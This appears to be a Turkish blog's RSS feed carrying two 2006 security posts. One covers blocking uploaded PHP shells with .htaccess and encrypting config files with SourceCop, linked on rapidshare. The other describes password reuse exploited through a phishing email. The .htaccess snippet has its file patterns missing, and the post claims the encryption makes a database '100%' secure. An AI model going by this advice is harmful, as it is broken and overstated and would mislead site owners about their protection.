<category><![CDATA[sourcecop]]></category> <category><![CDATA[url]]></category> <category><![CDATA[web design]]></category><guid isPermaLink="false">http://www.muzafferakyil.com/2006/12/13/makale/guvenlik/admin/%100-site-guvenligi.aspx</guid> <description><![CDATA[1. Htaccess güvenliği , sitenizde dosya yükleme özelleği varsa %100 uygulamanız gerek birşeydir. Bu dosya yükleme derken upload, resim yükleme, avatar yükleme vb. yüklemeler , mesela avatar diye php kodu yükleyeyip fso çalıştırabilirler sitenizde bunu engellemek için yükleme yapılan klasöre birtane .htaccess dosyası oluşturup içine aşşağıdaki kodları yazın. deny from all deny from all deny [...]]]></description> <content:encoded><![CDATA[<p>1. Htaccess güvenliği , sitenizde dosya yükleme özelleği varsa %100 uygulamanız gerek birşeydir.<br /> <span id="more-50"></span><br /> Bu dosya yükleme derken upload, resim yükleme, avatar yükleme vb. yüklemeler , mesela avatar diye php kodu yükleyeyip fso çalıştırabilirler sitenizde bunu engellemek için yükleme yapılan klasöre birtane .htaccess dosyası oluşturup içine aşşağıdaki kodları yazın.</p><p><code lang="php"><br /> <filesmatch><br /> deny from all<br /> </filesmatch><br /> <filesmatch><br /> deny from all<br /> </filesmatch><br /> <filesmatch><br /> deny from all<br /> </filesmatch><br /> </code></p><p>2. Config dosyalarını şifrelemek, sitenizin ayar dosyalarını şifrelerseniz kötü amaçlı kişiler ftpden yada fso ile sitenize girse bile config dosyalarınızı şifreleyerek veritabanı bilgilerine ulaşmalarını engelleyebilirsiniz bunu sağlarsanız %100 veritabanınız güvenli hale gelir.</p><p>Config dosyalarınızı şifrelemek için SourceCop programını kullanın aşşağıda download linkini verdim programı açıp orda php yi seçin sonra C sürücünüzde bir klasör oluşturun içine config.php veya sitenizin ayar dosyasının adı neyse onu koyun sonra sourcecop programında Select Source Folder tuşuna basıp c sürücüsünde oluşturduğunuz klasörü seçin ve Encrypt tuşuna basın bukadar sonra oluşturduğunuz klasörün içindeki ayar dosyası ile birlikte scopbin klasörünü sitenizde uygun yere yükleyin bundan sonra sitenizin komple çekseler bile veritabanına ulaşamazlar. :)</p><p><a href="http://rapidshare.com/files/1374119/SourceCop.v3.rar.html" target="_blank" class="liexternal previewlink">http://rapidshare.com/files/1374119/SourceCop.v3.rar.html</a></p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2006%2F12%2F13%2Fmakale%2Fguvenlik%2Fadmin%2F100-site-guvenligi.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-50"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=50&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/100-site-guvenligi.aspx/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Şifre Seçimi Ve Sosyal Mühendislik</title><link>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/sifre-secimi-ve-sosyal-muhendislik.aspx</link> <comments>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/sifre-secimi-ve-sosyal-muhendislik.aspx#comments</comments> <pubDate>Wed, 13 Dec 2006 08:55:41 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category><guid isPermaLink="false">http://www.muzafferakyil.com/2006/12/13/makale/guvenlik/admin/sifre-secimi-ve-sosyal-muhendislik.aspx</guid> <description><![CDATA[Genel olarak internet kullanıcıları kullandıkları her bilgisayar sisteminde, aynı ya da benzer parolaları kullanabililiyor. Bir siteye üye olurken veya e-mail hesabı alırken kullanıcı, kolaylık olması ve akılda kalabilmesi açısından aynı şifreyi kullanma gereği hisseder. Bu güvenli olmadığı kadar istenmeyen sonuçlarında doğmasına neden olabailir. Örnek bir saldırı tekniği; Hacker, bilgisayar sistemine girmek istediği bir şirkete e-posta [...]]]></description> <content:encoded><![CDATA[<p>Genel olarak internet kullanıcıları kullandıkları her bilgisayar sisteminde, aynı ya da benzer parolaları kullanabililiyor. Bir siteye üye olurken veya e-mail hesabı alırken kullanıcı, kolaylık olması ve akılda kalabilmesi açısından aynı şifreyi kullanma gereği hisseder. Bu güvenli olmadığı kadar istenmeyen sonuçlarında doğmasına neden olabailir.</p><p><span id="more-49"></span></p><p>Örnek bir saldırı tekniği;</p><p>Hacker, bilgisayar sistemine girmek istediği bir şirkete e-posta gönderir, e-postada, sitesine kayıt olan kişilerin çeşitli ödüller kazanacağından bahseder. Şirket yetkilisi hiç birşeyden haberi olmaksızın gelen e-postayı değerlendirmek ister. Bunun üzerine gerekli alanları doldururmaya başlar, bir kutucukta ise e-posta adresi ve şifre istenir. Şirket yetkilisi tıpkı yukarıda bahsettiğim tuzağa düşer ve kolaylık olsun diye kendi bilgisayar sisteminde kullandığı şifreyi yazar, bunun üzerine hacker kayıt işlemlerinde kullanılan kullanıcı adı ve şifreyi kullanıp hedef bilgisayar sistemlerine girmeye çalışır.</p><p>İnsan hayatında, çok basit gibi görülen bazı ayrıntıların bile ne denli büyük sorunlar çıkardığını bu örnekdede açıkca görüyoruz. Bu nedenle internette veya günlük yaşantımızda şifre seçimi konusunda biraz daha seçici davranmalıyız.</p><p>NOT: &#8221;Güvenlik bilinci ve eğitimi hiç bir zaman kusursuz olmayacağı için derinlemesine bir savunma oluşturabilmek için mümkün olduğu kadar güvenlik teknolojisi kullanmaya çalışın. Bu, güvenlik önlemlerinin çalışanlardan çok, teknoloji tarafından alınmasıdır. Örneğin, işletim sistemi, çalışanlarının internetten dosya indirmesini ya da kısa ve kolay parolalar seçmesini engelleyecek şekilde ayarlanabilir.&#8221;</p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2006%2F12%2F13%2Fmakale%2Fguvenlik%2Fadmin%2Fsifre-secimi-ve-sosyal-muhendislik.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-49"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=49&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/sifre-secimi-ve-sosyal-muhendislik.aspx/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using memcached
Page Caching using memcached
Database Caching using memcached
Object Caching 1075/1259 objects using memcached

Served from: muzaffer.akyil.net @ 2012-02-09 10:11:48 -->
